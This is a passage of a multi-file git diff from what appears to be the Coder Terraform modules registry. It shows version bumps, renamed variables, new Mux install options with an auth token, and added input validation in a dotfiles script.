POST_CLONE_SCRIPT : local.encoded_post_clone_script
})
}
+35 -6
View File
@@ -5,6 +5,19 @@ set -euo pipefail
DOTFILES_URI="${DOTFILES_URI}"
DOTFILES_USER="${DOTFILES_USER}"
# Validate DOTFILES_URI to prevent command injection (defense in depth)
if [ -n "$DOTFILES_URI" ]; then
# shellcheck disable=SC2250
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
exit 1
fi
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
exit 1
fi
fi
# shellcheck disable=SC2157
if [ -n "$${DOTFILES_URI// }" ]; then
if [ -z "$DOTFILES_USER" ]; then
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
if [ "$DOTFILES_USER" = "$USER" ]; then
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
else
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
# eval echo ~coder -> "/home/coder"
# eval echo ~root -> "/root"
if command -v getent > /dev/null 2>&1; then
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
else
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
fi
if [ -z "$DOTFILES_USER_HOME" ]; then
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
exit 1
fi
CODER_BIN=$(which coder)
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
CODER_BIN=$(command -v coder)
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
fi
fi
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
if [ -n "$POST_CLONE_SCRIPT" ]; then
echo "Running post-clone script..."
POST_CLONE_TMP=$(mktemp)
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
chmod +x "$POST_CLONE_TMP"
$POST_CLONE_TMP
rm "$POST_CLONE_TMP"
fi
+3 -3
View File
@@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
module "git-config" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32"
version = "1.0.33"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ TODO: Add screenshot
module "git-config" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32"
version = "1.0.33"
agent_id = coder_agent.main.id
allow_email_change = true
}
@@ -43,7 +43,7 @@ TODO: Add screenshot
module "git-config" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32"
version = "1.0.33"
agent_id = coder_agent.main.id
allow_username_change = false
allow_email_change = false
@@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
description = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
display_name = "Git config user.email"
mutable = true
styling = jsonencode({
placeholder = data.coder_workspace_owner.me.email
})
}
data "coder_parameter" "username" {
@@ -55,6 +58,9 @@ data "coder_parameter" "username" {
description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
display_name = "Full Name for Git config"
mutable = true
styling = jsonencode({
placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
})
}
resource "coder_env" "git_author_name" {
+1 -1
View File
@@ -42,7 +42,7 @@ module "jetbrains" {
version = "1.3.0"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
}
```
+2 -2
View File
@@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
module "jupyterlab" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jupyterlab/coder"
version = "1.2.1"
version = "1.2.2"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
module "jupyterlab" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jupyterlab/coder"
version = "1.2.1"
version = "1.2.2"
agent_id = coder_agent.main.id
config = {
ServerApp = {
@@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
expect(output.exitCode).toBe(1);
expect(output.stdout).toEqual([
"Checking for a supported installer",
"No valid installer is not installed",
"No supported installer found.",
"Please install pipx or uv in your Dockerfile/VM image before running this script",
]);
});
+1 -1
View File
@@ -14,7 +14,7 @@ check_available_installer() {
INSTALLER="uv"
return
fi
echo "No valid installer is not installed"
echo "No supported installer found."
echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
exit 1
}
+1 -1
View File
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
module "kasmvnc" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kasmvnc/coder"
version = "1.2.7"
version = "1.3.0"
agent_id = coder_agent.example.id
desktop_environment = "xfce"
subdomain = true
+10 -1
View File
@@ -54,6 +54,15 @@ variable "subdomain" {
description = "Is subdomain sharing enabled in your cluster?"
}
variable "share" {
type = string
default = "owner"
validation {
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
}
}
resource "coder_script" "kasm_vnc" {
agent_id = var.agent_id
display_name = "KasmVNC"
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
url = "http://localhost:${var.port}"
icon = "/icon/kasmvnc.svg"
subdomain = var.subdomain
share = "owner"
share = var.share
order = var.order
group = var.group
+3 -3
View File
@@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
}
```
@@ -31,7 +31,7 @@ module "kiro" {
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({
+1 -1
View File
@@ -53,7 +53,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id
+74 -15
View File
@@ -1,31 +1,31 @@
---
display_name: mux
display_name: Mux
description: Coding Agent Multiplexer - Run multiple AI agents in parallel
icon: ../../../../.icons/mux.svg
verified: true
tags: [ai, agents, development, multiplexer]
---
# mux
# Mux
Automatically install and run [mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module auto-detects an available package manager (`npm`, `pnpm`, or `bun`) to install `mux@next` (with a fallback to downloading the npm tarball if none is found). You can also force a specific package manager via `package_manager` and point to a custom registry with `registry_url`. Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
}
```
![mux](../../.images/mux-product-hero.webp)
![Mux](../../.images/mux-product-hero.webp)
## Features
- **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks
- **Mux Workspace Isolation**: Each agent works in its own isolated environment
- **Git Divergence Visualization**: Track changes across different mux agent workspaces
- **Git Divergence Visualization**: Track changes across different Mux agent workspaces
- **Long-Running Processes**: Resume AI work after interruptions
- **Cost Tracking**: Monitor API usage across agents
@@ -37,7 +37,7 @@ module "mux" {
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
}
```
@@ -48,34 +48,91 @@ module "mux" {
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
# Default is "latest"; set to a specific version to pin
install_version = "0.4.0"
}
```
### Open a Project on Launch
Start Mux with `mux server --add-project /path/to/project`:
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.3.1"
agent_id = coder_agent.main.id
add_project = "/path/to/project"
}
```
### Pass Arbitrary `mux server` Arguments
Use `additional_arguments` to append additional arguments to `mux server`.
The module parses quoted values, so grouped arguments remain intact.
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.3.1"
agent_id = coder_agent.main.id
additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
}
```
### Custom Port
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
port = 8080
}
```
### Custom Package Manager
Force a specific package manager instead of auto-detection:
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.3.1"
agent_id = coder_agent.main.id
package_manager = "pnpm" # or "npm", "bun"
}
```
### Custom Registry
Use a private or mirrored npm registry:
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.3.1"
agent_id = coder_agent.main.id
registry_url = "https://npm.pkg.github.com"
}
```
### Use Cached Installation
Run an existing copy of mux if found, otherwise install from npm:
Run an existing copy of Mux if found, otherwise install from npm:
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
use_cached = true
}
@@ -83,13 +140,13 @@ module "mux" {
### Skip Install
Run without installing from the network (requires mux to be pre-installed):
Run without installing from the network (requires Mux to be pre-installed):
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.7"
version = "1.3.1"
agent_id = coder_agent.main.id
install = false
}
@@ -101,6 +158,8 @@ module "mux" {
## Notes
- mux is currently in preview and you may encounter bugs
- Mux is currently in preview and you may encounter bugs
- Requires internet connectivity for agent operations (unless `install` is set to false)
- Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable)
- Auto-detects `npm`, `pnpm`, or `bun` by default; set `package_manager` to force a specific one
- Installs `mux@next` from the npm registry by default; set `registry_url` to use a private or mirrored registry
- Falls back to a direct tarball download when no package manager is found
+58 -2
View File
@@ -1,6 +1,11 @@
import { describe, expect, it } from "bun:test";
import {
executeScriptInContainer,
execContainer,
findResourceInstance,
readFileContainer,
removeContainer,
runContainer,
runTerraformApply,
runTerraformInit,
testRequiredVariables,
@@ -30,7 +35,7 @@ describe("mux", async () => {
}
expect(output.exitCode).toBe(0);
const expectedLines = [
"📥 npm not found; downloading tarball from npm registry...",
"📥 No package manager found; downloading tarball from registry...",
"🥳 mux has been installed in /tmp/mux",
"🚀 Starting mux server on port 4000...",
"Check logs at /tmp/mux.log!",
@@ -40,6 +45,57 @@ describe("mux", async () => {
}
}, 60000);
it("parses custom additional_arguments", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
install: false,
log_path: "/tmp/mux.log",
additional_arguments:
"--open-mode pinned --add-project '/workspaces/my repo'",
});
const instance = findResourceInstance(state, "coder_script");
const id = await runContainer("alpine/curl");
try {
const setup = await execContainer(id, [
"sh",
"-c",
`apk add --no-cache bash >/dev/null
mkdir -p /tmp/mux
cat <<'EOF' > /tmp/mux/mux
#!/usr/bin/env sh
i=1
for arg in "$@"; do
echo "arg$i=$arg"
i=$((i + 1))
done
EOF
chmod +x /tmp/mux/mux`,
]);
expect(setup.exitCode).toBe(0);
const output = await execContainer(id, ["sh", "-c", instance.script]);
if (output.exitCode !== 0) {
console.log("STDOUT:\n" + output.stdout);
console.log("STDERR:\n" + output.stderr);
}
expect(output.exitCode).toBe(0);
await execContainer(id, ["sh", "-c", "sleep 1"]);
const log = await readFileContainer(id, "/tmp/mux.log");
expect(log).toContain("arg1=server");
expect(log).toContain("arg2=--port");
expect(log).toContain("arg3=4000");
expect(log).toContain("arg4=--open-mode");
expect(log).toContain("arg5=pinned");
expect(log).toContain("arg6=--add-project");
expect(log).toContain("arg7=/workspaces/my repo");
} finally {
await removeContainer(id);
}
}, 60000);
it("runs with npm present", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
@@ -55,7 +111,7 @@ describe("mux", async () => {
expect(output.exitCode).toBe(0);
const expectedLines = [
"📦 Installing mux via npm into /tmp/mux...",
"⏭️ Skipping npm lifecycle scripts with --ignore-scripts",
"⏭️ Skipping lifecycle scripts with --ignore-scripts",
"🥳 mux has been installed in /tmp/mux",
"🚀 Starting mux server on port 4000...",
"Check logs at /tmp/mux.log!",
+63 -17
View File
@@ -7,6 +7,10 @@ terraform {
source = "coder/coder"
version = ">= 2.5"
}
random = {
source = "hashicorp/random"
version = ">= 3.0"
}
}
}
@@ -17,46 +21,69 @@ variable "agent_id" {
variable "port" {
type = number
description = "The port to run mux on."
description = "The port to run Mux on."
default = 4000
}
variable "display_name" {
type = string
description = "The display name for the mux application."
default = "mux"
description = "The display name for the Mux application."
default = "Mux"
}
variable "slug" {
type = string
description = "The slug for the mux application."
description = "The slug for the Mux application."
default = "mux"
}
variable "install_prefix" {
type = string
description = "The prefix to install mux to."
description = "The prefix to install Mux to."
default = "/tmp/mux"
}
variable "log_path" {
type = string
description = "The path for mux logs."
description = "The path for Mux logs."
default = "/tmp/mux.log"
}
variable "add-project" {
variable "add_project" {
type = string
description = "Path to add/open as a project in mux (idempotent)."
description = "Optional path to add/open as a project in Mux on startup."
default = null
}
variable "additional_arguments" {
type = string
description = "Additional command-line arguments to pass to `mux server` (for example: `--add-project /path --open-mode pinned`)."
default = ""
}
variable "install_version" {
type = string
description = "The version or dist-tag of mux to install."
description = "The version or dist-tag of Mux to install."
default = "next"
}
variable "package_manager" {
type = string
description = "Package manager to install Mux. 'auto' detects npm, pnpm, or bun (falling back to tarball download). Set to 'npm', 'pnpm', or 'bun' to force a specific one."
default = "auto"
validation {
condition = contains(["auto", "npm", "pnpm", "bun"], var.package_manager)
error_message = "The 'package_manager' variable must be one of: 'auto', 'npm', 'pnpm', 'bun'."
}
}
variable "registry_url" {
type = string
description = "The npm-compatible registry URL to install Mux from. Override this for private registries or mirrors."
default = "https://registry.npmjs.org"
}
variable "share" {
type = string
default = "owner"
@@ -80,13 +107,13 @@ variable "group" {
variable "install" {
type = bool
description = "Install mux from the network (npm or tarball). If false, run without installing (requires a pre-installed mux)."
description = "Install Mux from the network (npm or tarball). If false, run without installing (requires a pre-installed Mux)."
default = true
}
variable "use_cached" {
type = bool
description = "Use cached copy of mux if present; otherwise install from npm"
description = "Use cached copy of Mux if present; otherwise install from npm"
default = false
}
@@ -96,7 +123,7 @@ variable "subdomain" {
Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder.
If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible.
EOT
default = false
default = true
}
variable "open_in" {
@@ -113,18 +140,39 @@ variable "open_in" {
}
}
# Per-module auth token for cross-site request protection.
# We pass this token into each mux process at launch time (process-scoped env)
# and include it in the app URL query string (?token=...).
#
# Why process-scoped env instead of a shared coder_env value:
# multiple mux module instances can target the same agent (different slug/port).
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
resource "random_password" "mux_auth_token" {
length = 64
special = false
}
locals {
mux_auth_token = random_password.mux_auth_token.result
registry_url = trimsuffix(var.registry_url, "/")
}
resource "coder_script" "mux" {
agent_id = var.agent_id
display_name = "mux"
display_name = var.display_name
icon = "/icon/mux.svg"
script = templatefile("${path.module}/run.sh", {
VERSION : var.install_version,
PORT : var.port,
LOG_PATH : var.log_path,
ADD_PROJECT : var.add-project,
ADD_PROJECT : var.add_project == null ? "" : var.add_project,
ADDITIONAL_ARGUMENTS : var.additional_arguments,
INSTALL_PREFIX : var.install_prefix,
OFFLINE : !var.install,
USE_CACHED : var.use_cached,
AUTH_TOKEN : local.mux_auth_token,
PACKAGE_MANAGER : var.package_manager,
REGISTRY_URL : local.registry_url,
})
run_on_start = true
@@ -140,7 +188,7 @@ resource "coder_app" "mux" {
agent_id = var.agent_id
slug = var.slug
display_name = var.display_name
url = "http://localhost:${var.port}"
url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
icon = "/icon/mux.svg"
subdomain = var.subdomain
share = var.share
@@ -154,5 +202,3 @@ resource "coder_app" "mux" {
threshold = 6
}
}
+153 -3
View File
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
]
}
# Needs command = apply because the URL contains random_password.result,
# which is unknown during plan.
run "custom_port" {
command = plan
command = apply
variables {
agent_id = "foo"
@@ -29,8 +31,65 @@ run "custom_port" {
}
assert {
condition = resource.coder_app.mux.url == "http://localhost:8080"
error_message = "coder_app URL must use the configured port"
condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
error_message = "coder_app URL must use the configured port and include auth token"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_server_script" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
}
assert {
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
error_message = "mux launch script must use the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_url" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
error_message = "coder_app URL must include auth token query parameter"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
}
}
run "custom_additional_arguments" {
command = plan
variables {
agent_id = "foo"
additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "--open-mode pinned --add-project '/workspaces/my repo'")
error_message = "mux launch script must include the configured additional arguments"
}
}
@@ -63,4 +122,95 @@ run "use_cached_only_success" {
}
}
# Custom package_manager should appear in generated script
run "custom_package_manager_npm" {
command = plan
variables {
agent_id = "foo"
package_manager = "npm"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"npm\"")
error_message = "mux script must set PM_CMD to the configured package manager"
}
}
run "custom_package_manager_pnpm" {
command = plan
variables {
agent_id = "foo"
package_manager = "pnpm"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"pnpm\"")
error_message = "mux script must set PM_CMD to the configured package manager"
}
}
run "custom_package_manager_bun" {
command = plan
variables {
agent_id = "foo"
package_manager = "bun"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "PM_CMD=\"bun\"")
error_message = "mux script must set PM_CMD to the configured package manager"
}
}
# Invalid package_manager should fail validation
run "invalid_package_manager" {
command = plan
variables {
agent_id = "foo"
package_manager = "yarn"
}
expect_failures = [
var.package_manager
]
}
# Custom registry_url should appear in generated script
run "custom_registry_url" {
command = plan
variables {
agent_id = "foo"
registry_url = "https://npm.example.com"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "https://npm.example.com")
error_message = "mux script must use the configured registry URL"
}
assert {
condition = !strcontains(resource.coder_script.mux.script, "registry.npmjs.org")
error_message = "mux script must not contain hardcoded registry.npmjs.org when custom registry is set"
}
}
# registry_url trailing slash should be stripped
run "registry_url_trailing_slash" {
command = plan
variables {
agent_id = "foo"
registry_url = "https://npm.example.com/"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "https://npm.example.com/mux/")
error_message = "registry URL trailing slash must be stripped to avoid double slashes"
}
}
+64 -11
View File
@@ -9,7 +9,9 @@ function run_mux() {
rm -f "$HOME/.mux/server.lock"
local port_value
local auth_token_value
port_value="${PORT}"
auth_token_value="${AUTH_TOKEN}"
if [ -z "$port_value" ]; then
port_value="4000"
fi
@@ -18,9 +20,25 @@ function run_mux() {
if [ -n "${ADD_PROJECT}" ]; then
set -- "$@" --add-project "${ADD_PROJECT}"
fi
# Parse additional user-supplied server arguments while preserving quoted groups.
if [ -n "${ADDITIONAL_ARGUMENTS}" ]; then
local parsed_additional_arguments
if ! parsed_additional_arguments="$(printf "%s\n" "${ADDITIONAL_ARGUMENTS}" | xargs -n1 printf "%s\n" 2> /dev/null)"; then
echo "❌ Failed to parse additional_arguments. Ensure quotes are balanced."
exit 1
fi
while IFS= read -r parsed_arg; do
[ -n "$parsed_arg" ] || continue
set -- "$@" "$parsed_arg"
done << EOF
$${parsed_additional_arguments}
EOF
fi
echo "🚀 Starting mux server on port $port_value..."
echo "Check logs at ${LOG_PATH}!"
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
}
# Check if mux is already installed for offline mode
@@ -36,7 +54,7 @@ fi
# If there is no cached install OR we don't want to use a cached install
if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
printf "$${BOLD}Installing mux from npm...\n"
printf "$${BOLD}Installing mux...\n"
# Clean up from other install (in case install prefix changed).
if [ -n "$CODER_SCRIPT_BIN_DIR" ] && [ -e "$CODER_SCRIPT_BIN_DIR/mux" ]; then
@@ -45,41 +63,76 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
mkdir -p "$(dirname "$MUX_BINARY")"
if command -v npm > /dev/null 2>&1; then
echo "📦 Installing mux via npm into ${INSTALL_PREFIX}..."
# Determine which package manager to use
PM_CMD=""
if [ "${PACKAGE_MANAGER}" = "auto" ]; then
for pm in npm pnpm bun; do
if command -v "$pm" > /dev/null 2>&1; then
PM_CMD="$pm"
break
fi
done
else
PM_CMD="${PACKAGE_MANAGER}"
if ! command -v "$PM_CMD" > /dev/null 2>&1; then
echo "❌ Configured package manager '${PACKAGE_MANAGER}' not found on PATH"
exit 1
fi
fi
if [ -n "$PM_CMD" ]; then
echo "📦 Installing mux via $PM_CMD into ${INSTALL_PREFIX}..."
NPM_WORKDIR="${INSTALL_PREFIX}/npm"
mkdir -p "$NPM_WORKDIR"
cd "$NPM_WORKDIR" || exit 1
if [ ! -f package.json ]; then
echo '{}' > package.json
fi
echo "⏭️ Skipping npm lifecycle scripts with --ignore-scripts"
echo "⏭️ Skipping lifecycle scripts with --ignore-scripts"
PKG="mux"
if [ -z "${VERSION}" ] || [ "${VERSION}" = "latest" ]; then
PKG_SPEC="$PKG@latest"
else
PKG_SPEC="$PKG@${VERSION}"
fi
if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts "$PKG_SPEC"; then
echo "❌ Failed to install mux via npm"
INSTALL_OK=true
case "$PM_CMD" in
npm)
if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
INSTALL_OK=false
fi
;;
pnpm)
if ! pnpm add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
INSTALL_OK=false
fi
;;
bun)
if ! bun add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
INSTALL_OK=false
fi
;;
esac
if [ "$INSTALL_OK" != true ]; then
echo "❌ Failed to install mux via $PM_CMD"
exit 1
fi
# Determine the installed binary path
BIN_DIR="$NPM_WORKDIR/node_modules/.bin"
CANDIDATE="$BIN_DIR/mux"
if [ ! -f "$CANDIDATE" ]; then
echo "❌ Could not locate mux binary after npm install"
echo "❌ Could not locate mux binary after $PM_CMD install"
exit 1
fi
chmod +x "$CANDIDATE" || true
ln -sf "$CANDIDATE" "$MUX_BINARY"
else
echo "📥 npm not found; downloading tarball from npm registry..."
echo "📥 No package manager found; downloading tarball from registry..."
VERSION_TO_USE="${VERSION}"
if [ -z "$VERSION_TO_USE" ]; then
VERSION_TO_USE="next"
fi
META_URL="https://registry.npmjs.org/mux/$VERSION_TO_USE"
META_URL="${REGISTRY_URL}/mux/$VERSION_TO_USE"
META_JSON="$(curl -fsSL "$META_URL" || true)"
if [ -z "$META_JSON" ]; then
echo "❌ Failed to fetch npm metadata: $META_URL"
@@ -118,7 +171,7 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
echo "❌ Could not determine version for mux"
exit 1
fi
TARBALL_URL="https://registry.npmjs.org/mux/-/mux-$VERSION_TO_USE.tgz"
TARBALL_URL="${REGISTRY_URL}/mux/-/mux-$VERSION_TO_USE.tgz"
fi
TMP_DIR="$(mktemp -d)"
TAR_PATH="$TMP_DIR/mux.tgz"
@@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
```tf
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = var.agent_id
web_app_icon = "/icon/code.svg"
web_app_slug = "vscode"
web_app_display_name = "VS Code Desktop"
web_app_order = var.order
web_app_group = var.group
coder_app_icon = "/icon/code.svg"
coder_app_slug = "vscode"
coder_app_display_name = "VS Code Desktop"
coder_app_order = var.order
coder_app_group = var.group
folder = var.folder
open_recent = var.open_recent
@@ -11,9 +11,9 @@ const appName = "vscode-desktop";
const defaultVariables = {
agent_id: "foo",
web_app_icon: "/icon/code.svg",
web_app_slug: "vscode",
web_app_display_name: "VS Code Desktop",
coder_app_icon: "/icon/code.svg",
coder_app_slug: "vscode",
coder_app_display_name: "VS Code Desktop",
protocol: "vscode",
};
@@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
);
expect(coder_app?.instances[0].attributes.slug).toBe(
defaultVariables.web_app_slug,
defaultVariables.coder_app_slug,
);
expect(coder_app?.instances[0].attributes.display_name).toBe(
defaultVariables.web_app_display_name,
defaultVariables.coder_app_display_name,
);
});
it("sets order", async () => {
const state = await runTerraformApply(import.meta.dir, {
web_app_order: "5",
coder_app_order: "5",
...defaultVariables,
});
@@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
it("sets group", async () => {
const state = await runTerraformApply(import.meta.dir, {
web_app_group: "web-app-group",
coder_app_group: "web-app-group",
...defaultVariables,
});
@@ -31,28 +31,28 @@ variable "protocol" {
description = "The URI protocol the IDE."
}
variable "web_app_icon" {
variable "coder_app_icon" {
type = string
description = "The icon of the coder_app."
}
variable "web_app_slug" {
variable "coder_app_slug" {
type = string
description = "The slug of the coder_app."
}
variable "web_app_display_name" {
variable "coder_app_display_name" {
type = string
description = "The display name of the coder_app."
}
variable "web_app_order" {
variable "coder_app_order" {
type = number
description = "The order of the coder_app."
default = null
}
variable "web_app_group" {
variable "coder_app_group" {
type = string
description = "The group of the coder_app."
default = null
@@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
agent_id = var.agent_id
external = true
icon = var.web_app_icon
slug = var.web_app_slug
display_name = var.web_app_display_name
icon = var.coder_app_icon
slug = var.coder_app_slug
display_name = var.coder_app_display_name
order = var.web_app_order
group = var.web_app_group
order = var.coder_app_order
group = var.coder_app_group
url = join("", [
var.protocol,
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "vscode" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ module "vscode" {
module "vscode" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@@ -40,7 +40,7 @@ variable "group" {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id
+3 -3
View File
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ module "windsurf" {
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
